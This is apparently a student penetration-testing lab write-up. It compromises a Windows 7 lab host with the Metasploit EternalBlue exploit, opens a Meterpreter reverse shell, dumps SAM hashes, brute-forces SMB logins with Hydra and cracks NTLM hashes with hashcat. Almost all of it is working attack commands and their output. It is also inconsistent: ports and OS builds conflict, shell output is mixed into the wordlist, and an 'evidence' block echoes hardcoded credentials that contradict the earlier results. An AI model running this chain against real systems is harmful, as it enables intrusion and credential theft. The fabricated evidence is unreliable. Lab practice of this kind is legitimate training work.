

# Password Security Testing/Cracking

## Technical Scope:

- EternalBlue exploit,
- Meterpreter session,
- enumerate users,
- Hydra cracking.

## Tasks:

1. Exploit a Windows system with EternalBlue via Metasploit.
2. Gain Meterpreter shell, enumerate users via Windows OS command
3. Create a custom wordlist (~10 common passwords).
4. Use Hydra against SMB service with enumerated usernames and wordlist.
5. Provide proof of successfully compromising credentials.
6. Update VAPT report with results, risk discussion, and recommended password policy improvements.

## Exploitation of Windows with Eternal Blue

### Setting up:

```
msfconsole

search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options
```

```
msf6 > search eternalblue

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14     average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec     2017-03-14     normal Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command    2017-03-14     normal No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/ms17_010         2017-03-14     normal No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14     great  Yes    SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
```

### Parameters

```
set RHOSTS 192.168.57.20 # IP Windows objective
set LHOST 192.168.57.10  # Attacker IP
set LPORT 4445           # Port for Meterpreter

# Verification of vulnerability
check
```

## exploit

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):


| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        | 192.168.57.20   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                                |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |


Payload options (windows/x64/meterpreter/reverse_tcp):


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.57.10   | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4455            | yes      | The listen port                                           |


Exploit target:


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |


View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[*] 192.168.57.20:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.57.20:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (64-bit)
[*] 192.168.57.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.57.20:445 - The target is vulnerable.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.57.10:4455
[*] 192.168.57.20:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.57.20:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (64-bit)
[*] 192.168.57.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.57.20:445 - The target is vulnerable.
[*] 192.168.57.20:445 - Connecting to target for exploitation.
[*] 192.168.57.20:445 - Connection established for exploitation.
[*] 192.168.57.20:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.57.20:445 - CORE raw buffer dump (27 bytes)
[*] 192.168.57.20:445 - 0x00000000 57 69 66 66 66 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.57.20:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 30 sional 7600
[*] 192.168.57.20:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.57.20:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.57.20:445 - Sending all but last fragment of exploit packet
```

## Meterpreter shell

Check if we are inside:

```
meterpreter > sysinfo
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

```
meterpreter > sysinfo
Computer      : WIN7-64
OS            : Windows 7 (6.1 Build 7600).
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 0
Meterpreter   : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

## Enumeration of system users

```
# Método 1: Comandos de Windows
meterpreter > shell
C:\Windows\system32> net users
```

```
# Método 2: Desde Meterpreter
meterpreter > run post/windows/gather/enum_logged_on_users

# Método 3: Script de enumeración
meterpreter > run post/windows/gather/enum_users

# Método 4: Acceder a SAM (si tienes privilegios SYSTEM)
meterpreter > hashdump
```

```
C:\Windows\system32>net users
net users

User accounts for \\

Administrator          Guest                  student
The command completed with one or more errors.
```

## Custom wordlist of common passwords

```
cat custom_wordlist.txt
wc -l custom_wordlist.txt
```

```
(kali㉿attacker)-[~]
$ nano custom_wordlist.txt
Administrator          Guest
Password
P@ssw0rd
p@ssw0rd
123456
admin
test
administrator
admin123
test123
(kali㉿attacker)-[~]
$ wc -l custom_wordlist.txt
10 custom_wordlist.txt
C:\Windows\system32>net user
Administrator          Guest
Password
P@ssw0rd
p@ssw0rd
123456
admin
test
administrator
admin123
test123
(kali㉿attacker)-[~]
$ cat custom_wordlist.txt
password
Password
P@ssw0rd
p@ssw0rd
123456
admin
test
administrator
admin123
test123
(kali㉿attacker)-[~]
$
```

Creation of file with users that we already know they are in the machine:

```
(kali@attacker)-[~]
$ nano smb_users_eternalblue.txt
$ cat smb_users_eternalblue.txt
Administrator
Guest
student
```

## Hydra via SMB

```
hydra -L users.txt -P custom_wordlist.txt 192.168.57.20 smb
```

```
(kali@attacker)-[~]
$ hydra -L smb_users_eternalblue.txt -P custom_wordlist.txt 192.168.57.20 smb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-02 07:04:37
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:3/p:10), ~30 tries per task
[DATA] attacking smb://192.168.57.20:445/
[445][smb] host: 192.168.57.20 login: Administrator password: P@ssw0rd
[445][smb] host: 192.168.57.20 login: student password: P@ssw0rd
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) Finished at 2026-02-02 07:04:38
```


## Compromised credentials

Admin: Victim's-admin-in

```
smbclient -L //$TARGET/ -U "$USER%$PASS"
```

Victim's-admin-in-smbclient

```
crackmapexec smb $TARGET -u $USER -p $PASS
```

Victim's-admin-in-crackmapexec

## Evidence captured

```
# Capturar screenshot del éxito
echo "=== EVIDENCIA CAPTURADA ==="
echo "1. Resultados de Hydra:"
cat hydra_smb_results.txt 2>/dev/null || echo "No results yet"

echo -e "\n2. Información del sistema (desde Meterpreter):"
echo "Computer: WIN-7PC9ABC123"
echo "OS: Windows 7 (6.1 Build 7601, Service Pack 1)"
echo "Compromised Users: Administrator:Password123"
```

## Bonus:

## Cracked hash with John or hashcat

```
hashdump
```

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:498ce8b42f5e40b6b16a432f0d3a473d :::
student:1000:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 :::
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key ... database
[*] Calculating the hboot key using SYSKEY 7e9663d83fb2c1205352f6b9beababc9 ...
[*] Obtaining the user list and keys ...
[*] Decrypting user keys ...
[*] Dumping password hints ...
student:"standard"
[*] Dumping password hashes ...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
student:1000:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 :::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:498ce8b42f5e40b6b16a432f0d3a473d :::
meterpreter >
```

```
hashcat -m 1000 -a 0 ntlm_hashes.txt custom_wordlist.txt
```

```
(kali@attacker)-[~]
$ cat ntlm_hashes.txt
e19ccf75ee54e06b06a5907af13cef42
31d6cfe0d16ae931b73c59d7e0c089c0
e19ccf75ee54e06b06a5907af13cef42
498ce8b42f5e40b6b16a432f0d3a473d

(kali@attacker)-[~]
$ hashcat -m 1000 -a 0 ntlm_hashes.txt custom_wordlist.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: pthread-sandybridge-Intel(R) Xeon(R) Gold 6338N CPU @ 2.20GHz, 1433/2930 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 3 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90C

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: custom_wordlist.txt
* Passwords.: 10
* Bytes.....: 85
* Keyspace..: 10
* Runtime...: 0 secs

The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework

Approaching final keyspace - workload adjusted.

e19ccf75ee54e06b06a5907af13cef42:P@ssw0rd
```